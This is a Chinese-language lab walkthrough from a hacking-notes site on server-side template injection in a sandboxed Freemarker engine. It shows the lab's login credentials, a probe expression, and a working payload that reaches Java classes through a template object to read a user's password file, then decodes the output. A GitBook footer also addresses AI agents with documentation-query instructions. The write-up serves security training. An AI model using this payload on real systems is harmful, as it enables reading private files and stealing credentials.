> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-in-sandboxed-environment.md).

# 沙箱环境中的 SSTI

### 沙盒环境中的服务器端模板注入

此实验使用 **Freemarker** 模板引擎，沙盒配置不当，允许发生服务器端模板注入。/ 目的：绕过沙盒以读取 `my_password.txt` 文件，然后提交其内容。

提供的凭据：/ `content-manager: C0nt3ntM4n4g3r`

#### 1. 检查模板中的代码执行

我们首先测试引擎是否会在模板中解析许多 Java 表达式：

```python
${7*7}
```

该计算被解析，确认了存在具有服务器端代码执行的 SSTI。

<figure><img src="/files/51e300bdef36e420a2190e3ca1b322016d3061dc" alt=""><figcaption></figcaption></figure>

#### 2. 突破沙盒并读取敏感文件

为了跳出沙盒并访问文件系统，我们使用 `product` 对象，该对象已存在于模板上下文中，并向上访问底层 Java 类，直接读取 Carlos 的文件：

```java
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
```

此表达式返回 `my_password.txt` 文件的内容，以十进制值（字节码）表示。

<figure><img src="/files/cd231ffc898f4b3ff8eea74d3f0bc3df659ac464" alt=""><figcaption></figcaption></figure>

3/. 将十进制值转换为文本

得到的输出是一系列十进制数字：

`100 50 110 114 98 112 109 53 98 117 99 117 122 111 99 106 101 101 54 98`

将这些值转换为 ASCII 后，得到如下密码：

`d2nrbpm5bucuzocjee6b`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/ssti/ssti-in-sandboxed-environment.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
